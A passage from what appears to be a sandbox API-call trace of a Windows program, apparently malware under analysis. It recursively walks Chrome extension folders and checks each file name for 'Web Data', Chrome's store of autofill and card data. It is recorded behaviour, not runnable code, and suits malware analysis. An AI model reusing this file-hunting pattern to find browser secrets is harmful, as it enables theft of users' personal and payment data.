Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0054.398] LocalFree (hMem=0x75c6a0) returned 0x0 [0054.398] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0054.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*" [0054.399] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.399] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.399] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.399] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0054.399] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.399] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0054.399] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0 [0054.399] FindClose (in: hFindFile=0x72dbd0 | out: hFindFile=0x72dbd0) returned 1 [0054.399] LocalFree (hMem=0x74cdf0) returned 0x0 [0054.399] LocalFree (hMem=0x75c7a8) returned 0x0 [0054.399] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0 [0054.399] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0054.399] LocalFree (hMem=0x75c598) returned 0x0 [0054.399] LocalFree (hMem=0x76a5b0) returned 0x0 [0054.399] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0 [0054.399] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0054.399] LocalFree (hMem=0x76c840) returned 0x0 [0054.399] LocalFree (hMem=0x761ea0) returned 0x0 [0054.399] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.399] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.399] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.400] lstrcpyA (in: lpString1=0x761ea0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.400] LocalFree (hMem=0x76c840) returned 0x0 [0054.400] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*" [0054.400] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.400] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.400] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.400] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.400] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.400] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.400] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.400] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*" [0054.400] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.406] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.406] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.406] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0054.406] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.406] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0054.406] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.406] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0054.406] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0054.406] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.406] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0054.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0054.406] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0054.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0054.406] LocalFree (hMem=0x75c6a0) returned 0x0 [0054.406] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0054.406] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*" [0054.406] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.407] LocalFree (hMem=0x74cdf0) returned 0x0 [0054.407] LocalFree (hMem=0x75c7a8) returned 0x0 [0054.407] LocalFree (hMem=0x75c598) returned 0x0 [0054.407] LocalFree (hMem=0x76a5b0) returned 0x0 [0054.407] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.407] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.407] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.407] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.407] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*" [0054.407] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.417] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0054.417] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0054.417] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0054.417] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0054.417] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.417] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0054.417] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0054.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.417] LocalFree (hMem=0x75c6a0) returned 0x0 [0054.417] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*" [0054.417] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.424] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.424] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0054.424] LocalFree (hMem=0x74cf00) returned 0x0 [0054.425] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*" [0054.425] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.425] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.425] LocalFree (hMem=0x74cf00) returned 0x0 [0054.425] LocalFree (hMem=0x74d010) returned 0x0 [0054.425] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK 